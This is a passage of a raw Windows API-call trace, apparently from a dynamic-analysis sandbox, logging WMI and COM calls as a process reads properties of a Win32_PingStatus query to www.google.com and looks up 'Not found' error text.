(bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.877] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.877] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d3a8*=0, plFlavor=0x242d3ac*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242d3a8*=3, plFlavor=0x242d3ac*=64) returned 0x0 [0136.878] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d3dc*=0, plFlavor=0x242d3e0*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5074e0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b0f0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x242d3dc*=8200, plFlavor=0x242d3e0*=64) returned 0x0 [0136.878] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d410*=0, plFlavor=0x242d414*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x242d410*=8, plFlavor=0x242d414*=64) returned 0x0 [0136.878] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.878] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.878] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d45c*=0, plFlavor=0x242d460*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x242d45c*=8, plFlavor=0x242d460*=64) returned 0x0 [0136.878] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.878] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.878] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d4a8*=0, plFlavor=0x242d4ac*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242d4a8*=8, plFlavor=0x242d4ac*=64) returned 0x0 [0136.878] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.878] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.879] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0136.879] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0136.879] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.879] IWbemClassObject:Get (in: This=0x4f387a8, wszName="WriteErrorStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d6e0*=0, plFlavor=0x242d6e4*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d6e0*=0, plFlavor=0x242d6e4*=0) returned 0x80041002 [0136.879] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0136.880] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f4b0f0) returned 0x0 [0136.881] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b0f0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0136.881] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4b0f0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f4b100) returned 0x0 [0136.881] WbemStatusCodeText:IUnknown:Release (This=0x4f4b0f0) returned 0x0 [0136.881] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b100, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f4b100) returned 0x0 [0136.881] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b100, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0136.881] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b100) returned 0x3 [0136.881] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b100, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0136.881] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b100, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0136.881] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b100, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0136.881] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0136.882] CoGetContextToken (in: pToken=0x59edd68 | out: pToken=0x59edd68) returned 0x0 [0136.882] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x1, cHandles=0x1, pHandles=0x59edd50*=0x378, lpdwindex=0x59edc08 | out: lpdwindex=0x59edc08) returned 0x80010115 [0136.882] CoGetContextToken (in: pToken=0x59ed20c | out: pToken=0x59ed20c) returned 0x0 [0136.882] CoGetContextToken (in: pToken=0x59ed1ec | out: pToken=0x59ed1ec) returned 0x0 [0136.882] CoGetContextToken (in: pToken=0x59ed170 | out: pToken=0x59ed170) returned 0x0 [0136.882] IUnknown:Release (This=0x4f387a8) returned 0x2 [0136.882] IUnknown:Release (This=0x4f387a8) returned 0x1 [0136.882] CoGetContextToken (in: pToken=0x59ed170 | out: pToken=0x59ed170) returned 0x0 [0136.882] WbemStatusCodeText:IUnknown:Release (This=0x4f4afc0) returned 0x1 [0136.882] WbemStatusCodeText:IUnknown:Release (This=0x4f4afc0) returned 0x0 [0136.932] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0136.932] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b100, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0136.932] WbemStatusCodeText:IUnknown:Release (This=0x4f4b100) returned 0x2 [0136.932] WbemStatusCodeText:IUnknown:Release (This=0x4f4b100) returned 0x1 [0136.932] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0136.932] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0136.932] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b100, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f4b100) returned 0x0 [0136.933] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b100) returned 0x3 [0136.933] WbemStatusCodeText:IUnknown:Release (This=0x4f4b100) returned 0x2 [0136.933] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4b100, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0136.933] SysStringByteLen (bstr="Not found ") returned 0x14 [0136.934] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0136.934] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0136.934] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.934] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0136.934] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0136.934] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.935] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0136.935] SafeArrayGetDim (psa=0x5073f0) returned 0x1 [0136.935] SafeArrayGetDim (psa=0x5073f0) returned 0x1 [0136.935] SafeArrayGetLBound (in: psa=0x5073f0, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0136.935] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.935] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.935] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.935] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.935] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.935] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.935] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.935] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.935] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.935] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.935] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.935] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.935] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.935] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.936] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.936] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.936] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.936] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.936] SysStringByteLen (bstr="__PATH") returned 0xc [0136.936] SysStringByteLen (bstr="__PATH") returned 0xc [0136.936] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242dac0*=0, plFlavor=0x242dac4*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x242dac0*=3, plFlavor=0x242dac4*=64) returned 0x0 [0136.936] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242daf4*=0, plFlavor=0x242daf8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242daf4*=8, plFlavor=0x242daf8*=64) returned 0x0 [0136.936] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.936] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.936] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242db4c*=0, plFlavor=0x242db50*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242db4c*=8, plFlavor=0x242db50*=64) returned 0x0 [0136.937] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242db74*=0, plFlavor=0x242db78*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242db74*=8, plFlavor=0x242db78*=64) returned 0x0 [0136.937] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.937] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.937] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242dbcc*=0, plFlavor=0x242dbd0*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242dbcc*=8, plFlavor=0x242dbd0*=64) returned 0x0 [0136.937] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.937] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.937] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242dda8*=0, plFlavor=0x242ddac*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242dda8*=3, plFlavor=0x242ddac*=64) returned 0x0 [0136.937] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242dddc*=0, plFlavor=0x242dde0*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afc0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x242dddc*=8200, plFlavor=0x242dde0*=64) returned 0x0 [0136.938] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242de10*=0, plFlavor=0x242de14*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x242de10*=8, plFlavor=0x242de14*=64) returned 0x0 [0136.938] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.938] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.938] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242de5c*=0, plFlavor=0x242de60*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x242de5c*=8, plFlavor=0x242de60*=64) returned 0x0 [0136.938] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.938] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.938] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242dea8*=0, plFlavor=0x242deac*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242dea8*=8, plFlavor=0x242deac*=64) returned 0x0 [0136.938] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.938] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.938] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0136.938] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0136.938] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.938] IWbemClassObject:Get (in: This=0x4f387a8, wszName="WriteWarningStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e0e0*=0, plFlavor=0x242e0e4*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242e0e0*=0, plFlavor=0x242e0e4*=0) returned 0x80041002 [0136.938] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0136.940] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f4afc0) returned 0x0 [0136.940] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0136.940] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4afc0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f4b0f0) returned 0x0 [0136.940] WbemStatusCodeText:IUnknown:Release (This=0x4f4afc0) returned 0x0 [0136.940] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b0f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f4b0f0) returned 0x0 [0136.941] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b0f0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0136.941] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b0f0) returned 0x3 [0136.987] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b0f0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0136.987] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b0f0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0136.987] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b0f0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0136.987] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0136.987] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0136.987] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b0f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0136.987] WbemStatusCodeText:IUnknown:Release (This=0x4f4b0f0) returned 0x2 [0136.987] WbemStatusCodeText:IUnknown:Release (This=0x4f4b0f0) returned 0x1 [0136.987] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0136.987] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0136.987] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b0f0, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f4b0f0) returned 0x0 [0136.987] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b0f0) returned 0x3 [0136.988] WbemStatusCodeText:IUnknown:Release (This=0x4f4b0f0) returned 0x2 [0136.988] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4b0f0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 